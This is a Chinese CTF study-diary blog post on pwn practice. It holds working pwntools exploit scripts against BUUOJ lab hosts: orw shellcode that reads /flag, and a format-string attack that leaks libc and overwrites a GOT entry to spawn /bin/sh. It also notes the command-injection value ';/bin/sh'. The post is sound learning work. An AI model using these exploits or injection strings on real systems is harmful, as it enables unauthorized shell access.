pwn学习(3)

今天复现了一个gactf的wannaflag,od断到text直接就可以看加密,比较简单
在pwn方面,今天依旧在刷题,没学习什么知识
,(真是懒狗),不过做题过程碰到几个点,没有遇到过,提一下,
system(‘ping ;/bin/sh’)
system原来可以接连两三个指令
seccomp
可以用来限制系统调用,orz向我展示了pwntool的功能
orz

from pwn import *

p = remote('node3.buuoj.cn',25572)
shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('eax','esp',50)
shellcode += shellcraft.write(1,'esp',50)
shellcode = asm(shellcode)
p.send(shellcode)

p.interactive()

格式化字符串
fmt32,
可以泄露地址,确认libc,然后覆盖got表,
也是通过格式化字符串,只不过我偏移还不是算的特别熟练,需要加强,格式化字符串的功能还没有熟练掌握,说白了,还是不够熟练

from pwn import *
p = remote('node3.buuoj.cn',25269)
elf = ELF('./main')
libc = ELF('./libc6-i386_2.23-0ubuntu10_amd64.so')
strl_addr = elf.got['printf']
payload1 = 'a' + p32(strl_addr) + '22%8$s'
p.sendafter('tell me:',payload1)
p.recvuntil('22')
leak = u32(p.recv(4))
print(hex(leak))
libcbase = leak -libc.sym['printf']
sym_addr = libcbase + libc.sym['system']
high_addr = (sym_addr>>16)&0xffff
low_addr = sym_addr&0xffff
strlen_got = elf.got['strlen']
payload2 = 'a' + p32(strlen_got) + p32(strlen_got+2) + "%"+str(low_addr-18)+'c'+'%8$hn' + "%" + str(high_addr-low_addr)+'c'+'%9$hn'
p.sendafter('tell me:',payload2)
p.sendafter('tell me:',';/bin/sh\x00')
p.interactive()

明天任务,看完brop,有时间尽量刷题,复现re,毕竟位明天还想出去玩玩。。。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值